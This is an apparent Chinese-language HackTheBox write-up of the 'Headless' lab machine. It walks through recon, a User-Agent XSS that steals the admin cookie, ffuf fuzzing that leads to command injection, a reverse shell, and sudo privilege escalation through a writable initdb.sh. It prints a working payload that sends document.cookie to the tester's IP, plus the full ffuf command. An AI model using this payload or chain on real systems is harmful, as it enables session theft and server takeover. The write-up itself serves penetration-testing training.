HTB headless

Headless

常规信息收集,扫描开放端口服务、子域名、目录爆破等等

image-20240326130330118

image-20240326130401967

/dashboard没有认证无法登录

image-20240326130523664

/support可以修改参数,在几个常见的参数点尝试利用一些xss、sql等漏洞检测脚本。但是在这里有简单的过滤,一些特殊字符会被识别

image-20240326130728056

我们看一下被检测出攻击行为后的响应,会发现提示说我们的浏览器信息会被发送给administrator。所以尝试一下在user-agent字段尝试xss看能不能拿到admin的cookie登录

<img src=x onerror=document.location="http://10.10.16.6:8888/xss-75.js?c="+document.cookie>

image-20240326131204853

ok!成功监听到cookie。

利用cookie直接登录admin的dashboard

image-20240326131235258

image-20240326131335644

检查一遍下来貌似只有date可以控制参数,有了admin的立足点后接下来的想法就是拿到shell。可以继续尝试看看有没有xss或者别的漏洞,但是最大的可能性还是rce

image-20240326140047670

这里尝试了一下用ffuf去爆破一下攻击脚本。可以发现有200的响应

ffuf -ic -c -of csv -o /opt/HTB/machine/easy/linux/headless/fuzz.csv -request-proto http -request /opt/HTB/machine/easy/linux/headless/fuzz.req -w all-attacks.txt --fs 2028 --fl 73

image-20240326140117667

image-20240326140334704

这里可以rce,那就直接弹shell吧

image-20240326140549360

拿到普通权限后的思路就是提权。最常见的靶机提权就是sudo -l查看特权指令

image-20240326140839573

审计一下该目录,发现其中有调用一个initdb.sh的脚本,同时我们又有写文件的权限。那就很简单

image-20240326141028753

创建一个initdb.sh的反弹shell文件后运行即可获得root权限(==注意initdb.sh需要赋予+x权限才能被监听到==)